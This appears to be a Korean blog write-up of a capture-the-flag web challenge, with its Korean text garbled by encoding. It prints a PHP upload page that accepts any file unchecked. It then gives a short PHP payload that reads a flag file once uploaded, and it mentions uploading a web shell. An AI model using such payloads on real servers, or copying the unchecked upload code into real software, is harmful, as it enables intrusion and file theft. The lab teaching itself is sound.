[2025-07-15] Image-storage

๐Ÿฆฅ ๋ณธ๋ฌธ

  • upload.php
<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <form enctype='multipart/form-data' method="POST">
        <div class="form-group">
          <label for="InputFile">ํŒŒ์ผ ์—…๋กœ๋“œ</label>
          <input type="file" id="InputFile" name="file">
        </div>
        <input type="submit" class="btn btn-default" value="Upload">
      </form>
    </div> 
</body>
</html>
  • list.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container"><ul>
    <?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?> 
    </ul></div> 
</body>
</html>

/upload ๋””๋ ‰ํ† ๋ฆฌ์— ํŒŒ์ผ์„ ์ €์žฅํ•˜๊ณ  list.php์—์„œ ํ•ด๋‹น ํŒŒ์ผ์— ์ ‘๊ทผ์„ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค. ๊ทธ๋ž˜์„œ /flag.txt๋ฅผ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” php ํŒŒ์ผ์„ ์˜ฌ๋ฆฌ๊ณ  list๋ฅผ ํ†ตํ•ด ์ ‘๊ทผํ–ˆ๋‹ค

ํ’€์ด

  1. upload.php์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ php ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•œ๋‹ค.
<?php
$flag = file_get_contents("../../flag.txt");
echo "<pre>$flag</pre>";
?>

  1. list.php ์—์„œ ์ ‘๊ทผ์„ ํ•˜์—ฌ flag.txt๋ฅผ ์•Œ์•„๋‚ธ๋‹ค

์ถ”๊ฐ€๋กœ ์›น ์‰˜์„ ์‹คํ–‰์‹œํ‚ค๋Š” php ํŒŒ์ผ์„ ์˜ฌ๋ฆฌ๋Š” ๊ฒฝ์šฐ๋„ ๊ฐ€๋Šฅํ•˜๋‹ค

Categories:

Updated:

Leave a comment